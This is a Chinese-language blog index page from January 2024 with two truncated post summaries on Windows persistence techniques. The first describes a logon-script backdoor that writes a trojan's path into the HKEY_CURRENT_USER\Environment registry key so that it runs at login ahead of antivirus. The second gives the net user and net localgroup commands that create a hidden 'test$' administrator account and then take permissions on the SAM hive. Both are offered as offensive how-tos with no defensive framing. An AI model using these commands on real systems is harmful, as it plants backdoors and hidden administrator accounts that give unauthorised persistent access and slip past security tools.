2024年1月12日
logon scripts后门
摘要： Windows登录脚本，当用户登录时触发，Logon Scripts能够优先于杀毒软件执行，绕过杀毒软件对敏感操作的拦截 注册表位置：HKEY_CURRENT_USER\Environment 在命令行往注册表写入服务，/d后面写入木马程序路径 reg add "HKEY_CURRENT_USER\ 阅读全文
posted @ 2024-01-12 13:32 msirboss 阅读(108) 评论(0) 推荐(0)
创建影子账户
摘要： 1、创建隐藏用户并加入管理员组 net user test$ P@ssw0rd /add net localgroup administrators test$ /add 2、运行regeditd打开注册表 对HKEY_LOCAL_MACHINE\\SAM\\SAM右键->权限赋予当前用户admin 阅读全文
posted @ 2024-01-12 13:26 msirboss 阅读(209) 评论(0) 推荐(0)